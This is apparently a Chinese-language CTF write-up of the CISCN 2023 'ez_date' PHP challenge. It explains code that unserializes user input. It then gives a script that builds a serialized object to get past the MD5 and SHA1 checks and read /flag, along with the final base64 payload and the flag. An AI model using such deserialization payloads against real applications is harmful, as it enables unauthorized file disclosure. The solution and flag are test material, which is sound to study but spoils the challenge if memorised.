[CISCN 2023 华北]ez_date
点开之后是一串php代码:
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}
unserialize(base64_decode($_GET['code']));
这段代码定义了一个名为date的类,该类包含三个公共属性 a 、 a、 a、b和$file。当对一个date类的对象进行反序列化操作时,会调用__wakeup方法进行一系列的检查和操作,包括检查属性是否为数组以及根据特定条件读取和处理文件内容。
以下是对代码的详细解读:
<?php
error_reporting(0);/*关闭 PHP 的错误报告,这样在脚本
执行过程中不会显示任何错误信息。*/
highlight_file(__FILE__);/*以语法高亮的形式输出
当前文件的内容,通常用于调试或查看代码结构。*/
class date{ //定义了一个名为date的类。
public $a;
public $b;
public $file; /*在类中定义了三个公共属性,可以
在类的任何地方被访问和修改。*/
public function __wakeup()/*定义了魔术方法__wakeup,当对象被
反序列化时会自动调用这个方法。*/
{
if(is_array($this->a)||is_array($this->b)){
die('no array');/*检查属性$a和$b是否为数组,如果其中
任何一个是数组,则输出no array并终止脚本执行。*/
}
if( ($this->a !== $this->b) && (md5($this->a) ===
md5($this->b)) && (sha1($this->a)===
sha1($this->b)) ){ /*确保$a和$b的值不相等。
检查$a和$b经过 MD5 哈希后的结果是否相等。检查$a
和$b经过 SHA1 哈希后的结果是否相等,如果这些条
件都满足,则执行后续代码*/
$content=date($this->file);
$uuid=uniqid().'.txt';/*生成一个唯一的 ID,
并加上.txt后缀,用于创建一个临时文件名*/
file_put_contents($uuid,$content);/*将$content的
内容写入到以$uuid命名的文件中。*/
$data=preg_replace('/((\s)*(\n)+(\s)*)/
i','',file_get_contents($uuid));/*
读取刚刚创建的文件内容,然后使用正则
表达式去除文件内容中的空白字符
(包括空格、换行和制表符等),
并将处理后的结果赋值给$data。*/
echo file_get_contents($data);/*尝试读取$data所代表
的文件内容并输出到页面上。如果$data不是
一个有效的文件名,可能会导致错误。*/
}
else{
die();
}
}
}
unserialize(base64_decode($_GET['code'])); /*从 URL 参数code
中获取值,先进行 Base64 解码,然后对解码后的
字符串进行反序列化操作,尝试创建一个date类的对象。*/
接着我们编写脚本:
<?php
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
}
$q=new date();
$q->a=1;
$q->b='1';
$q->file='/f\l\a\g';
echo base64_encode(serialize($q));
?>
运行之后结果如下:
所以payload为:
/?code=Tzo0OiJkYXRlIjozOntzOjE6ImEiO2k6MTtzOjE6ImIiO3M6MToiMSI7czo0OiJmaWxlIjtzOjg6Ii9mXGxcYVxnIjt9
接着我们打开HackBar,运行之后得到:
由此得到本题flag:
NSSCTF{bfdf3bd3-6faa-4270-a1d7-261398aa9843}